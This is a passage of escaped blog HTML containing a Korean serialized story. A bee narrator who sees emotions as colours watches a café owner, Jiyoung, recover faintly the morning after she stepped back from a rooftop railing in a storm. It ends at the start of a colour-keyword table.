&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛의 변화는 눈 깜빡일 사이에 지나갔지만, 내 눈에는 하나하나가 또렷했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이것이, 선택이 비틀어지는 순간의 색일 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;완전한 구원도, 완전한 포기도 아닌, 그 사이 어딘가로 몸을 옮기는 결정.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영은 휴대폰을 귀에 댔다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가와 몇 마디를 주고받는 동안, 난간 쪽으로 향하던 몸의 각도가 서서히 카페 쪽으로 돌아섰다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;카페 안의 황금빛 조명이, 비를 뚫고 그녀의 얼굴을 다시 비추기 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한 벌이 할 수 있는 일&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 비 속에서 그 장면을 끝까지 지켜보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 이 밤을 &amp;ldquo;지켰다&amp;rdquo;고 말할 수 있을까?&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아마 아닐 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그녀를 붙잡은 건, 내 날갯짓이 아니라, 그 전화기 화면에 뜬 이름과 목소리였을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 나는 이렇게도 생각한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘 밤, 이 옥상 위에서&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 없었을 때와 있었을 때의 세계는, 아주 조금 다른 색을 갖게 되었을지도 모른다고.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 본 것, 내가 기억한 것, 내가 그 기억을 끌어안고 이 폭우 속을 날아온 사실 자체가&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;적어도 내 세계에는 변화를 만들어 냈으니까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;보는 것만으로도 세계는 조금 바뀐다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 아무 말도 할 수 없지만, 누군가를 다른 눈으로 다시 보겠다고 마음먹는 순간,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;적어도 내 세계는 이미 어제와 같을 수 없기 때문이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 어쩌면, 이 작은 변화들이 모여&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가의 삶을 아주 조금씩, 아주 오래에 걸쳐 다른 방향으로 비틀어 놓을지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;폭우는 여전히 내 몸을 때리고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;날개는 무거웠고, 집으로 돌아가는 길은 멀었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그럼에도 나는, 이 밤을 &amp;ldquo;지킬 수 있었다&amp;rdquo;고 조심스럽게 말해 보고 싶었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가의 결정을 대신해 준 것도 아니고, 누군가의 상처를 치유한 것도 아니지만,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;적어도 이 밤을 끝까지 함께 본 증인이자, 가능한 다른 빛을 잠깐이라도 떠올리게 만든 존재로서.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한 벌이 지킬 수 있는 밤은, 아마 이 정도의 크기일 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 이 작은 밤들이 모여, 언젠가 이 도시 전체의 색을 조금 바꾸게 될지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 가능성을 품은 채, 나는 다시 어두운 남색 하늘을 향해 몸을 돌렸다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비와 바람을 가르며, 아직 끝나지 않은 다음 밤들을 향해.&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;8편&amp;nbsp; 〈아침의 미세한 차이〉&amp;nbsp;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;8편 〈아침의 미세한 차이〉 &amp;ndash; 본문 초고&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;밤비가 그친 다음날 아침, 도시는 아무 일도 없었다는 얼굴을 하고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도로 위 물웅덩이들은 햇빛을 반사하고 있었고, 가로수 잎에서는 물방울이 하나씩 떨어지고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;색만 놓고 보면, 평범한 아침이었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옅은 옐로우가 건물 벽을 타고 흘렀고, 출근길 사람들 머리 위에는 익숙한 블루와 그린이 떠 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그래서일까.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;사람들 대부분에게 어제 밤은, 그저 &amp;ldquo;비가 많이 온 날&amp;rdquo;로만 기억될 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 알고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제 밤, 이 옥상에서는 한 사람에게 아주 조용한 균열이 생겼다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제와 같은 자리, 다른 빛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 평소보다 조금 늦게 벌집을 나섰다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;몸이 아직 폭우의 무게를 기억하고 있었기 때문이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;날개를 펼 때마다, 어제 젖어 있던 감각이 함께 떠올랐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상으로 올라가는 길은 여전히 익숙했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다만 오늘의 공기는 가볍고 맑았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;폭우가 쓸고 지나간 뒤의 거리에는, 약간의 청량함이 남아 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상에 도착했을 때, 나는 먼저 난간을 보았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제 지영이 서 있었던 자리, 손이 닿았던 곳.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지금 난간은 물에 젖은 흔적만 남긴 채, 조용히 햇빛을 받고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛을 보는 눈으로 보자면, 그 난간 주변의 공기에는 아직도 어제의 바이올렛이 아주 희미하게 기체처럼 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;결론의 자리였던 만큼, 색은 쉽게 빠져나가지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 눈을 난간에서 떼고, 카페 안으로 돌렸다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영이 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아주 작은 밝기 차이&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;유리문 너머, 에스프레소 머신 앞에 서 있는 지영의 모습은 어제와 크게 다르지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;머리는 같은 방식으로 묶여 있었고, 앞치마도 어제와 같은 색이었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;손은 여전히 분주했고, 손님을 향한 미소도 익숙한 모양이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 빛은, 어제와 같지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제 밤, 폭우 속 난간 위에서 보았던 짙은 바이올렛과 검푸른 잿빛이&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지금은 조금 뒤로 물러나 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;가슴께 주변에는 여전히 바이올렛이 남아 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;혼란과 성장통, 방향을 아직 명확히 찾지 못한 색.&lt;/span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 그 바이올렛의 밀도가 어제만큼 진하지는 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;대신 그 위에, 아주 얇은 옐로우가 앉아 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 옐로우는 환하게 빛나는 색이 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;자신감이 넘치는 황금빛도 아니었고, 들뜬 낙천의 노랑도 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그저, 어둠을 완전히 밀어내지는 못하지만 &amp;ldquo;오늘 하루 정도는 더 버텨보자&amp;rdquo;고 말하는 정도의, 아주 낮은 밝기였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 차이를 금방 알아볼 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제까지 지영의 옐로우는, 웃음 주변에 얇게 흩어져 있는 장식 같은 것이었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘의 옐로우는, 가슴 안쪽에서 조심스럽게 올라오는 빛에 가까웠다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제 밤, 난간에서 한 발 물러서며 생긴 아주 작은 틈으로 들어온 빛.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 빛이 어제의 결정 전체를 바꾼 것은 아니다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다만 &amp;ldquo;지금 이 순간에는 계속 살아보기로 했다&amp;rdquo;는 선택의 잔향이, 아직 몸 안에 남아 있는 것처럼 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;세계는 쉽게 바뀌지 않는다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 한동안 유리문 위를 맴돌며, 지영의 빛을 관찰했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;손님이 주문을 할 때, 그녀의 머리 위에 그린이 잠깐 떠올랐다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;관계와 역할, &amp;lsquo;사장님&amp;rsquo;으로서의 책임의 색. &lt;/span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;컵을 건네며 미소를 지을 때, 입가 주변에 레몬빛과 옅은 옐로우가 가볍게 스쳤다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그러나 손님이 돌아서고 혼자 남는 순간, 어깨 주변으로 다시 바이올렛이 내려앉는 것도 보였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제의 고민이 하루 만에 사라질 리 없다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;해결되지 않은 문제들은 그대로 자리에 있었고, 숫자와 서류와 관계의 그린과 블루가 여전히 그녀의 등을 눌러 내리고 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 장면들을 보며, 조급함과 안도감을 동시에 느꼈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;세계는 쉽게 바뀌지 않는구나.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한 번의 밤, 한 번의 결정, 한 번의 전화, 한 번의 날갯짓으로&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가의 인생이 완전히 다른 방향으로 돌아선다는 이야기를 사람들은 좋아한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 내 눈에 보이는 세계는, 그렇게 극적으로 움직이지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;우울은 여전히 있었고, 피로는 여전히 있었고, 할 일은 여전히 많았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;단지 그 모든 것들 사이에, 아주 미세한 옐로우 한 줄이 새로 생겼을 뿐이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛은 조금씩 움직인다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그래서일까.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 오히려, 이 아침이 더 현실적으로 느껴졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어둠이 단번에 물러난 것이 아니라,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아주 조금, 눈으로 겨우 구분할 수 있을 정도로만 옅어져 있는 상태.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;세계는 쉽게 바뀌지 않지만, 빛은 조금씩 움직인다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제의 바이올렛은 오늘도 남아 있지만,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 가장자리에 새로운 색이 섞여 들어오기 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 옅은 옐로우와 마젠타, 가느다란 그린과 터쿼이즈 같은 색들이&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;당장 세계를 뒤집지는 못하겠지만,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;조금씩, 아주 조금씩, 오늘과 내일의 톤을 바꿀 것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 움직임을 보는 눈을 갖고 있다는 사실에, 처음으로 작게 감사했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;극적인 변화만을 기대하면, 이 아침은 실패처럼 보일 수도 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;어제와 똑같이 출근하고, 똑같이 일하는데, 뭐가 달라졌냐&amp;rdquo;고 말하는 목소리도 있을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 나에게는 분명히 보였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제의 난간 위에서는 거의 보이지 않던 옐로우가,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘은 가슴 안쪽에서부터 아주 조용하게 올라오고 있다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 작은 움직임 하나만으로도, 어제의 밤은 충분히 의미가 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지켜본다는 것의 의미&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 잠시 꽃으로 내려와 라벤더 꿀을 맛보았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 바이올렛은 언제나 일정했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;인간의 바이올렛처럼 하루아침에 짙어지거나 옅어지지 않는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 안정감이 부러우면서도, 한편으로는 인간 쪽의 불안정함이 부럽기도 했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;불안정하기 때문에, 그들은 움직일 수 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;색이 변한다는 것은, 아직 자신을 포기하지 않았다는 증거일지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 다시 하늘로 올라가며 생각했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나 혼자서 세계를 바꿀 수 없다는 사실은 이미 알고 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 누군가의 빛이 어제보다 오늘 조금 더 따뜻해졌다는 것을&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;분명하게 말해 줄 수 있는 존재가 있다는 것,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그것만으로도 이 세계에는 조금 다른 의미가 부여될지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어제, 한 벌이 지키려 애쓴 밤을&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘, 한 벌이 확인하는 아침.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 연결 속에서 나는, 관찰자로서의 내 자리와 역할을 다시 한번 받아들였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;세계는 쉽게 바뀌지 않는다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 빛은 조금씩 움직이고,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 움직임을 끝까지 지켜보는 눈이 되기로 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 결심을 가슴께에 살며시 얹은 채,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 다시 도시 위로 날아올랐다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘과 내일, 그리고 그 다음 아침들 속에서&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;또 얼마나 많은 미세한 차이들이 생겨날지, 보고 싶어서.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1부 〈빛의 도시 &amp;ndash; 루멘〉 색 키워드 정리&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;편&lt;/span&gt;&lt;/td&gt;
